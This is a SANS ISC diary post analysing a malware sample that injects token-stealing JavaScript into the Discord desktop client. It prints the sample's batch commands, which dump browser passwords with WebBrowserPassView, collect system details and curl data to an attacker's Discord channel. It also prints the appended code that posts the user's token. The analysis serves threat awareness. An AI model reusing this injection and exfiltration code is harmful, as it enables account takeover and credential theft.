Threat Level: green Handler on Duty: Renato Marinho

SANS ISC: Compromized Desktop Applications by Web Technologies SANS ISC InfoSec Forums

Participate: Learn more about our honeypot network

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Compromized Desktop Applications by Web Technologies

For a long time now, it has been said that "the new operating system is the browser". Today, we do everything in our browsers, we connect to the office, we process emails, documents, we chat, we perform our system maintenances, ... But many popular web applications provide also a desktop client: Twitter, Facebook, Slack are good examples. Such applications just replace the classic browser and use the API's to interact with the official website. Most applications are developed in a compiled language and are deployed as regular executable files. Others rely on web technologies or have a modular architecture that helps to add features via a system of plugins or modules.

Discord[1] is such a popular app. Let's have a look at the installation on standard Windows computer:

You can see that the application makes use of classic web technologies. There is a bunch of JavaScript files installed in %APPDATA%\Discord\. Some malware samples have already been reported to infect Discord application but I never found one. Yesterday, my hunting rules caught a sample!

The malware uses the Discord API to exfiltrate data about the victim:

curl -X POST \
     -H "Content-type: application/json" \
     --data "{\"content\": \"**Inject Activated : BaBy#9360**\"}" \

Some information about the victim's computer is collected:

curl "">>C:\temp\ip_address.txt
for /f "delims=" %%q in (C:\temp\ip_address.txt) do set IP=%%q
for /f "delims=" %%x in (C:\temp\WindowsInfo.txt) do set WindowsInfo=%%x
start C:/temp/WebBrowserPassView.exe /stext C:/temp/Passwords.txt
systeminfo | findstr /c:"Host Name">>C:\temp\System_INFO.txt
systeminfo | findstr /c:"Domain">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"OS Name">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"OS Version">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"System Manufacturer">>C:\temp\System_INFO.txt
systeminfo | findstr /c:"System Model">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"System type">>C:\temp\System_INFO.txt 
systeminfo | findstr /c:"Total Physical Memory">>C:\temp\System_INFO.txt
echo Hard Drive Space:>>C:\temp\System_INFO.txt
wmic diskdrive get size>>C:\temp\System_INFO.txt
echo Service Tag:>>C:\temp\System_INFO.txt
wmic bios get serialnumber>>C:\temp\System_INFO.txt
echo CPU:>>C:\temp\System_INFO.txt
wmic cpu get name>>C:\temp\System_INFO.txt

The most important part is the next one. The Discord client is modified by injecting a malicious piece of JavaScript code:

set str=var X = window.localStorage = document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage;var V = JSON.stringify(X);var L = V;var C = JSON.parse(L);var strtoken = C["token"];var O = new XMLHttpRequest();'POST', '', false);O.setRequestHeader('Content-Type', 'application/json');O.send('{"content": ' + strtoken + '}')


set "discord=%appdata%\discord\0.0.306\modules\discord_voice\index.js"
set "discordcanary=%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js"
set "discordptb=%appdata%\discordptb\0.0.52\modules\discord_voice\index.js"
if not exist %discord% goto CANARY
echo %str% >> "%appdata%\discord\0.0.306\modules\discord_voice\index.js"
if not exist %discordcanary% goto PTB
echo %str% >> "%appdata%\discordcanary\0.0.266\modules\discord_voice\index.js"
if not exist %discordptb% goto SEND2
echo %str% >> "%appdata%\discordptb\0.0.52\modules\discord_voice\index.js"

The variable %str% contains a JavaScript code that exfiltrates the current user's token. All data are posted on a Discord channel controlled by the attacker. This technique allows him to use the victim's Discord account.

This is interesting to see how Discord is the target but also the C2 communication channel...


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London September 2020


537 Posts
ISC Handler
Jul 24th 2020

Sign Up for Free or Log In to start participating in the conversation!